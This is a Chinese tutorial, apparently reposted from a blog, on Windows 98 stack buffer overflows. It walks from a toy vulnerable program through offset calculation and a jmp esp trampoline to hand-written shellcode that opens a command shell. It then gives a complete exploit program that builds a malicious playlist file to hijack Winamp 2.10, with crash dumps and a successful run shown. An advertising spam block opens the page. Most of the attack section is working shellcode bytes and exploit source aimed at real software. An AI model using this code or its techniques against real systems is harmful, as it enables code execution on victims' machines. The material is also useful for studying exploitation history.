window系统下的堆栈溢出 作者:ipxodi
?
國內私募機構九鼎控股打造APP,來就送?20元現金領取地址:http://jdb.jiudingcapital.com/phone.html內部邀請碼:C8E245J?(不寫邀請碼,沒有現金送)
國內私募機構九鼎控股打造,九鼎投資是在全國股份轉讓系統掛牌的公眾公司,股票代碼為430719,為“中國PE第一股”,市值超1000億元。? ------------------------------------------------------------------------------------------------------------------------------------------------------------------
?
window系統下的堆棧溢出
?
作者:ipxodi<< mailto:ipxodi@263.net >>
?
????◆原理篇
?
這一講我們來看看windows系統下的程序。我們的目的是研究如何利用windows程序的
堆棧溢出漏洞。
?
讓我們從頭開始。windows 98第二版
?
首先,我們來寫一個問題程序:
#include
?
int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf("//0x%x",name[i]);
}
?
相信大家都看出來了,gets(name)對name數組沒有作邊界檢查。那么我們可以給程序
一個很長的串,肯定可以覆蓋堆棧中的返回地址。
?
C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61
?
到這里,出現了那個熟悉的對話框“該程序執行了非法操作。。。”,太好了,點擊
詳細信息按鈕,看到EIP的值是0x61616161,哈哈,對話框還會把返回地址告訴我們。
這個功能太好了,我們可以選擇一個序列的輸入串,精確的確定存放返回地址的偏移位置。
?
C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
/0x31/0x32/0x33/0x34/0x35/0x36/0x37/0x38/0x39/0x31/0x30/0x31/0x31/0x31/0x32/0x31
/0x33/0x31/0x34/0x31/0x35/0x31/0x36/0x31/0x37/0x31/0x38/0x31/0x39/0x32/0x30/0x32
到這里,又出現了那個熟悉的對話框“改程序執行了非法操作。。。”,點擊詳細信息
按鈕,下面是詳細信息:
?
VUNERABLE 在 00de:32363235 的模塊
<未知> 中導致無效頁錯誤。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:
?
Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c
?
哦哦,EIP的內容為0x32363235,就是2625,EBP的內容為0x32343233,就是2423,計算
一下可以知道,在堆棧中,從name變量地址開始偏移36處,是EBP的地址,從name變量
地址開始偏移40處,是ret的地址。我們可以給name數組輸入我們精心編寫的shellcode。
我們只要把name的開始地址放在溢出字符串的地址40就可以了。那么,name的開始地址
是多少呢?
?
通過上面的stack dump 我們可以看到,當前ESP所指向的地址0x0064fe00,內容為
0x32383237,那么計算得出,name的開始地址為:0x0064fe00-44=0x64fdd4。在windows
系統,其他運行進程保持不變的情況下。我們每次執行vunera~1的堆棧的開始地址都
是相同的。也就是說,每次運行,name的地址都是0x64fdd4。
?
講到這里,大家一定已經發現了這樣一個情況:在win系統中,由于有地址沖突檢測,
出錯時寄存器影像和堆棧影像,使得我們對堆棧溢出漏洞可以進行精確的分析
溢出偏移地址。這就使我們可以精確的方便的尋找堆棧溢出漏洞。
?
OK,萬事具備,只差shellcode了。
?
首先,考慮一下我們的shellcode要作什么?顯然,根據以往的經驗,我們想開一個
dos窗口,這樣在這個窗口下,我們就可以作很多事情。
?
開一個dos窗口的程序如下:
#include
#include
?
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
?
char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";
?
?
LibHandle = LoadLibrary(dllbuf);
?
ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
?
(ProcAdd) (cmdbuf);
?
return 0;
}
?
這個程序有必要詳細解釋一下。我們知道執行一個command.com就可以獲得一個
dos窗口。在C庫函數里面,語句system(command.com);將完成我們需要的功能。
但是,windows不像UNIX那樣使用系統調用來實現關鍵函數。對于我們的程序來說,
windows通過動態鏈接庫來提供系統函數。這就是所謂的Dll's。
?
因此,當我們想調用一個系統函數的時候,并不能直接引用他。我們必須找到那個
包含此函數的動態鏈接庫,由該動態鏈接庫提供這個函數的地址。DLL本身也有一個
基本地址,該DLL每一次被加載都是從這個基本地址加載。比如,system函數由msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都從
0x78000000地址開始。system函數位于msvcrt.dll的一個固定偏移處(這個偏移地址
只與msvcrt.dll的版本有關,不同的版本可能偏移地址不同)。我的系統上,
msvcrt.dll版本為(v6.00.8397.0)。system的偏移地址為0x019824。
?
所以,要想執行system,我們必須首先使用LoadLibrary(msvcrt.dll)裝載動態鏈接庫
msvcrt.dll,獲得動態鏈接庫的句柄。然后使用GetProcAddress(LibHandle, system)
獲得 system的真實地址。之后才能使用這個真實地址來調用system函數。
?
好了,現在可以編譯執行,結果正確,我們得到了一個dos框。
?
現在對這個程序進行調試跟蹤匯編語言,可以得到:
?
15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;現在,eax的值為0x78019824就是system的真實地址。
;這個地址對于我的機器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆棧傳遞參數,只有一個參數,就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4
?
現在我們可以寫出一段匯編代碼來完成system,看以看我們的執行system調用的代碼
是否能夠像我們設計的那樣工作:
?
#include
#include
?
void main()
{
?
LoadLibrary("msvcrt.dll");
?
__asm {
mov esp,ebp ;把ebp的內容賦值給esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;給ebp賦新值,將作為局部變量的基指針
xor edi,edi ;
push edi ;壓入0,esp-4,
;作用是構造字符串的結尾/0字符。
sub esp,08h ;加上上面,一共有12個字節,
;用來放"command.com"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作為參數入棧
mov eax, 0x78019824 ;
call eax ;調用system
}
}
?
編譯,然后運行。好,DOS框出來了。在提示符下輸入dir,copy......是不是想起了
當年用286的時候了?
?
敲exit退出來,哎呀,發生了非法操作。Access Violation。這是肯定的,因為我們的
程序已經把堆棧指針搞亂了。
?
對上面的算法進行優化,現在我們可以寫出shellcode如下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
?
還記得第二講中那個測試shellcode的基本程序嗎?我們可以用他來測試這個shellcode:
#include
#include
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
?
int main() {
int *ret;
LoadLibrary("msvcrt.dll");
?
ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因為:有push ebp ,否則加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址為shellcode的開始地址。
?
}
編譯運行,得到dos對話框。
?
現在總結一下。我們已經知道了在windows系統下如何獲得一次堆棧溢出,如何計算
偏移地址,以及如何編寫一個shellcode以得到dos。理論上,你已經具備了利用堆棧溢出
的能力了,下面,我們通過實戰來真正掌握他。
?
?
?
◆溢出字符串的設計
?
我們已經知道了在windows系統下如何獲得一次堆棧溢出,如何計算
偏移地址,以及如何編寫一個shellcode以得到dos。
?
但是這遠遠不夠。
?
大家知道windows系統的用戶進程空間是0--2G,操作系統所占的為2--4G。
事實上用戶進程的加載位置為:0x00400000.這個進程的所有指令地址,數據地址
和堆棧指針都會含有0,那么我們的返回地址就必然含有0。
?
現在來看一看我們的shellcode:NNNNSSSSAAAAAA。顯然,我們的shellcode
由于A里面含有0,所以就變成了NNNNNNNNSSSSSA,這樣,我們的返回地址A必須精確
的放在確切的函數堆棧中的ret位置。
?
事實上,在上一講里面,我們已經掌握了很精確的找到這個位置的方法。
?
其次,windows在執行mov esp,ebp的時候,把廢棄不用的堆棧用隨機數據填充
(實驗所得,機制如何,大家一起研究),因此我們的shellcode可能會被覆蓋!
----這下完蛋了,我們的shellcode都沒了,返回地址正確又有什么用??
?
所以,我們的shellcode必須改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在緩沖區
溢出發生之后,堆棧的布局如下:
?
內存底部 內存頂部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆棧頂部 堆棧底部
?
看到了嗎?我們的A覆蓋了返回地址。S位于堆棧的底部。A的內容,就是指向S的調用。
?
但是,剛才我們說過A里面是含有0字符的,這樣的溢出字符串,在A處就被0阻斷,
根本無法到shellcode。我們需要把A改成不包含0的地址。
?
好像沒有辦法了,是嗎?現在我們的A如何能做到即可以跳轉到我們的shellcode,
又可以不包含0字節呢?
?
大家可能還記得當年IIS4.0遠程攻擊的作者dark spyrit AKA Barnaby Jack吧?
他在99年的Phrack Magzine55.15 上提出了使用系統核心dll中的指令來完成跳轉
的思想。我不得不說這是一個天才的想法。事實上,這一技巧開創了一個嶄新
的windows緩沖區溢出的思路。
?
思路是這樣的:返回地址A的內容不指向我們的shellcode開始地點,否則的話
A里面必然含有0。我們知道系統核心的dll都是在2-4G,也就是從0x80000000到
0xffffffff,這里面的指令地址將不包含0,(當然幾個別的除外,我們可以不用他)。
因此,我們可以令返回地址A等于一個系統核心dll中的指令的地址,這個指令的
作用就是call/jmp 我們的shellcode。
?
但是他怎么才能知道我們的shellcode的地址呢?
?
答案是:用寄存器。因為在溢出發生的時候,除了eip跳到了系統核心dll去之外,
其他的通用寄存器都保持不變。在寄存器里面一定有我們的shellcode的相關信息。
比如說,敵人的函數如果有參數的話,那么我們的A覆蓋了他的返回地址,shellcode
的開始地址則恰恰在他的第一個參數的位置上,那我們就可以用call [ebp+4]或者
我們假設敵人第一個參數的地址在eax,那我們就可以使用call/jmp eax來調用shellcode。
這些寄存器的值,我們可以在第一講里面提到的“關閉程序框”里面獲得寄存器和
堆棧的詳細資料。
?
那么我們怎么知道哪里有call/jmp eax什么的呢?我們又怎么知道這些指令是每次都在
內存中可以直接調用呢?
?
答案是:系統核心dll。系統核心dll包括kernel32.dll,user32.dll,gdi32.dll.
這些dll是一直位于內存中而且對應于固定的版本windows加載的位置是固定的。
你可以在這些dll里面搜索你需要的指令。其他的dll,比如msvcrt。dll就要去看程序
自己的import列表了。看看他是否load了這個dll。不過一般的說,這幾個dll就夠了。
?
好,那么我們的shellcode最終為:
NNNNNNNNNNNNNNNASSSSSSSS
其中:N為NOP指令
A為指向某一條call/jmp指令的地址,這個call/jmp指令位于系統核心內存>0x80000000,
這個call/jmp指令具體的內容,需要根據我們exploit出來的結果分析得知。
S:shellcode。
?
有了這些基礎知識,我們來分析一個實例。
?
大家都有winamp吧,他的2.10有緩沖區漏洞,下面我們來實現一個exploit。
?
winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名長度
如果大于一定長度就會發生堆棧溢出。我們可以寫出測試串,精確的測試。
test.cpp
----------------------------------------------------------------------------
#include
?
int main()
{
char buffer[640];
char eip[8] = "";
char sploit[256] = "";
FILE *file;
?
for(int x=0;x<640;x++)
{
switch(x%4) {
case 0: buffer[x] = 'A';break;
case 1: buffer[x] = 'A'+x/26%26/26%26; break;
case 2: buffer[x] = 'A'+x/26%26; break;
case 3: buffer[x] = 'A'+x%26;break;
?
}
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");
?
fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "/nNumberOfEntries=1");
?
fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}
----------------------------------------------------------------------------
算法很簡單,是寫出一個crach.pls文件,內容可以根據那幾個fprintf看出來的。
我就不講了,其中buffer的內容為測試用的字符串。這個測試程序可以測試
最長為26^3的串,足夠了。
?
編譯執行,看看結果,嘿,發生了堆棧溢出,結果如下:
?
WINAMP 在 00de:4c574141 的模塊
<未知> 中導致無效頁錯誤。
Registers:
EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=4bd7
EDX=005b02dc ES=0187 EDI=00000001 GS=4206
Bytes at CS:EIP:
?
Stack dump:
50574141 54574141 58574141 42584141 46584141 4a584141
4e584141 52584141 56584141 5a584141 44594141 48594141
4c594141 50594141
?
根據eip=4141574c計算得出,addr = (57h-41h)*26+(4ch-41h)-4 = 580.
好,溢出的位置為580。
?
大家現在知道我們的溢出字符串中,返回地址A應該在串的580處,那么我們應該
讓他使用什么call/jmp指令以達到shellcode呢?
?
看看寄存器dump,我們發現ESP里面的內容是41415750,恰好是4141574c之后的
第一個數。看來ESP指向我們的shellcode,太棒了!我們使用指令:
jmp ESP 就可以執行我們的shellcode了。
?
現在找出jmp esp的指令碼為 FF E4,ctrl-D 調出s-ice,看看內存里面那里有FF E4.
因為系統核心dll的加載地址都是從地址0xBf000000開始,所以我們
搜索s Bf000000 L ffffffff ff,e4
得到了哪些結果?
?
一堆呀,這第一個是:BFF795A3。看看softice里面的進程名稱欄:
Kernel32!GetDataFormatA+1554好,是kernel32.dll里面的,肯定是可以用的啦。
ok,問題解決,我們現在可以確定在buffer〔580〕處,寫入四個字節:
"/xa3/x95/xf7/xbf".這就是我們的溢出字符串中的返回地址A。
?
好了,現在溢出字符串已經基本分析完了,就差shellcode了。
下面我們來寫shellcode。
我們的shellcode要開一個dos窗口。C語言的算法描述是:
?
LoadLibrary("msvcrt.dll");
system("command.com");
exit(0);
很簡單,是不是?下面是匯編代碼:
?
首先要LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
push eax
push eax
push eax
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
mov edx,0xBFF776D4 //LoadLibrary
push edx
lea eax,[ebp-0Ch]
push eax
call dword ptr[ebp-10h]
然后是開一個dos窗口:
push ebp
mov ebp, esp
sub esp, 0000002C
mov eax, 6D6D6F63
mov dword ptr [ebp-0C], eax
mov eax, 2E646E61
mov dword ptr [ebp-08], eax
mov eax, 226D6F63
mov dword ptr [ebp-04], eax
xor edx, edx
mov byte ptr [ebp-01], dl
lea eax, dword ptr [ebp-0C]
push eax
mov eax, 78019824 //system
call eax
最后執行exit,退出來。
?
push ebp
mov ebp,esp
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//exit
push edx
xor eax,eax
push eax
call dword ptr[ebp-04h]
?
簡單說一下,msvcrt.dll是運行C語言標準庫函數所必須的一個動態鏈接庫。
要想使用system,exit,必須加載這個庫。而winamp沒有import這個庫,
所譯我們需要自己加載。
指令 mov edx,0xBFF776D4中,0xBFF776D4是函數LoadLibraryA的地址。
他的代碼在kernel32.dll中,是被winamp加載了的dll。我的機器上kernel32.dll
版本是: (v4.10.2222) .
0x78019824 是msvcrt.dll里面的函數system的地址。版本:(v6.00.8397.0)
0x78005504 是msvcrt.dll里面的函數exit的地址。版本:(v6.00.8397.0)
由于里面有0,所以使用兩條指令來完成:
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//==mov edx,0x78005504
?
編譯,找出二進制code:
shellcode:
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8/x24/x98/x01/x78/xFF/xD0"
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";
?
好了,所有的算法都討論完了,下一講我們就來實現一個exploit
?
?
?
?
?
◆最后的完善
?
我們把前面寫的測試程序稍加改動就是一個exploit程序:
exploit.cpp
----------------------------------------------------------------------------
#include
?
int main()
{
?
?
char buffer[640];
char eip[8] = "/xa3/x95/xf7/xBF";
char shellcode[256] =
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"//load
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8/x24/x98/x01/x78/xFF/xD0"
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";
?
FILE *file;
?
for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}
?
file = fopen("crAsh.pls","wb");
?
fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", shellcode);
fprintf(file, "/nNumberOfEntries=1");
?
fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}
----------------------------------------------------------------------------
?
OK,運行他,生成一個文件叫做crash.pls.在winamp里面打開這個playlist,
就應該出一個dos。出來了嗎?
?
哎呀,怎么又是錯誤?
?
WINAMP 在 017f:004200c3 的模塊
WINAMP.EXE 中導致無效頁錯誤。
Registers:
EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=444f
EDX=005b02dc ES=0187 EDI=00000001 GS=4446
Bytes at CS:EIP:
00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b
Stack dump:
0a006da1 8000009d 0000442a 90000000 90909090 90909090
90909090 90909090 90909090 90909090 90909090 90909090
90909090 90909090 90909090 90909090
?
看看出錯信息,EIP是4200c3,看來已經開始執行我們的shellcode了,怎么會有
無效頁錯誤呢?看來我們的shellcode有問題。
?
這個時候,s-ice就又派上用場了,跟蹤一下看看:
ctrl-d
bpx bff795a3(就是我們的jmp esp)
x
好,現在運行winamp,打開文件crash.pls,被s-ice攔下,開始跟蹤。一個jmp esp
之后,就到了我們的shellcode上,繼續執行,看到了什么嗎?
?
奇怪!我們的shellcode變短了,到B8249801,后面就沒有了。這是怎么回事?
應該是/xB8/x24/x98/x01/x78呀,/x01到什么地方去了?
?
看來敵人把輸入的溢出字符串作樂處理,把不能作為文件名的字符都作為0處理了
(事實上這是win32api函數作的處理)。我們的shellcode被截斷了。
?
我在第4講第一節就說過對這種問題的對策。這個問題的解決需要我們改換shellcode,
去掉那些有問題的字符:/x01
?
我們作如下替換:
mov eax,78019824 ----> mov eax,ffffffff
sub eax,87fe67db
匯編得到:
?
xB8/x24/x98/x01/x78 ----> /xB8/xFF/xFF/xFF/xFF
/x2d/xdB/x67/xFe/x87
得到下面的新程序:
/* Stack based buffer overflow exploit for Winamp v2.10
* Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
*
* For a detailed description on the exploit see my advisory.
*
* Tested with Winamp v2.10 using Windows98 on an Intel
* PII 400 with 128MB RAM
*
* http://indigo.ie/~lmf
?
* modify by ipxodi 20-01-2k
?
* for windows98 the 2nd version and for a new shellcode.
?
* windows98 v 4.10.2222.A chinese version
* pII 366 with 64MB RAM(Not a good PC,en?)
?
* ipxodi@263.net
*/
?
#include
?
int main()
{
?
char buffer[640];
char eip[8] = "/xa3/x95/xf7/xbf";
char sploit[256] = "/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8/xFF/xFF/xFF/xFF/x2d/xdB/x67/xFe/x87/xFF/xD0"
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";
?
FILE *file;
?
for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");
?
fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "/nNumberOfEntries=1");
?
fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}
?
?
OK,運行他,生成一個文件叫做crash.pls.在winamp里面打開這個playlist,
結果如下,我可愛的dos出來了:
?
Microsoft(R) Windows 98
(C)Copyright Microsoft Corp 1981-1999.
?
D:/hacker/document/ipxodi>dir
.........................
........就不貼了.........
?
?
總結:
?
經過這次實戰的演練,大家一定對windows下的buffer overflow有了很深的掌握了。
我們可以看到,windows下的堆棧溢出攻擊和unix下的,原理基本相同。但是,
由于windows用戶進程地址空間分配和堆棧處理有其獨立的特點,導致了windows
環境下堆棧溢出攻擊時,使用的堆棧溢出字符串,與unix下的,區別很大。這也
是我在寫完linux下的堆棧溢出系列之后,另外寫windows系列的原因。
?
另外,大家從破解的過程中,可以發現我一再強調windows的版本。事實上,這
也導致了windows下的exploit不具有通用性。大家的windows版本不一,
而exploit使用了很多動態鏈接庫里面的庫函數,其地址都是與dll的版本有
關系的。不同的dll版本,里面的庫函數的偏移地址就可能(注意:是可能)
不同。因為windows的patch天天有,他的一些dll就更新很快。甚至可能不同
語言版本的windows,其核心dll的版本都不同。用戶的dll一變更,
那么,我們的exploit里面的shellcode就要重新寫。
?
為了解決這個問題,我想我們可以盡量減少固定地址的使用。即,使用
GetProcAddress來獲得我們將使用的每一個系統函數,當然這就大大加長了
我們的shellcode。但是,這也無法消除對kernel32.dll的中LoadLibrary和
GetProcAddress的地址的直接引用,因為這兩個是shellcode中最基本的
函數,自然就導致了對kernel32.dll版本的依賴。
?
這里奉勸大家,當你寫的exploit發生無效頁錯誤時,不要灰心。運行sice,
跟蹤你的shellcode,會發現問題的根源的。
?
因此,這也回答了去年xsz,littleworm它們的問題。當時我們實驗IIS4.0
的exploit總是沒有成功,client端執行完了以后server端我們經常看到
access violation的框,就是因為shellcode的版本依賴問題導致的。
?
所以,對于windows下的堆棧溢出exploit,必須公開原代碼,才能由其他人完成
別的版本的修改,這一點,大家以后公布exploit時,要記住。
?
說一句題外話:
很多人運行了堆棧溢出exploit以后沒有成功,就認為自己的機器沒有毛病。
對此,dark spyrit AKA Barnaby Jack曾有這樣的建議:
If the exploit failed......
Do not determine the threat to your servers solely on the results of one
public exploit - the vulnerability exists, fix it. If you think that was
the only demonstration code floating around you need your head examined.
?
以前咱們水木黑客版97年堆棧溢出大討論的時候,rainer就很高水平的探討過
windows下的buffer overflow。他的文章現在還在,大家可以去精華區看看。
不過當時只是探討原理,還停留在堆棧溢出的可行性,遠沒有探討利用他來攻擊。
我也曾經以為windows的堆棧溢出攻擊是不必要的。
?
后來,NT的中普通用戶獲取admin,我想到過仿照UNIX,搞緩沖區溢出攻擊。
因為NT里面有很多系統進程,都是以system賬號啟動的。如果我們可以將它們
overflow,按照上面的方法,可以得到dos,(NT下是cmd.exe),將擁有
超級用戶的權限。當然可以為所欲為了。
?
這只是windows NT下堆棧溢出攻擊的一個應用。去年,我研究IIS4.0的溢出之后,
發現帶有問題的windows網絡服務程序導致了windows堆棧溢出,可以幫助我們
獲得遠程控制。才認識到windows堆棧溢出攻擊將是一個很有研究價值的攻擊
手段。
?
在后續的研究中,有時候因為困難幾乎要放棄。好在有小懶蟲(sysword),
小四(hellguard),康師傅(kxn)這些網友
給我的督促和幫助。在此感謝,同時感謝以前一起討論過windows系列堆棧溢出
的朋友littleworm,xsz它們。
?
最后,我希望我的講座作為拋磚引玉,能夠引發大家更深入的探討。希望大家在
看了之后,能夠對windows堆棧溢出技術有一定了了解。如果大家能夠提出改進的
算法,或者發現新的exploit,就真正是光大了我們黑客版的精神。
?
讓我們以下面這句話共勉:
"If you assume that there's no hope, you guarantee there will be no hope.
If you assume that there is an instinct for freedom, there are
opportunities to change things."
?
-Noam Chomsky
轉載于:https://www.cnblogs.com/AloneSword/archive/2004/08/22/2237741.html
總結
以上是生活随笔為你收集整理的window系统下的堆栈溢出 作者:ipxodi的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 触发器怎么执行
- 下一篇: javascript中类的定义和使用{转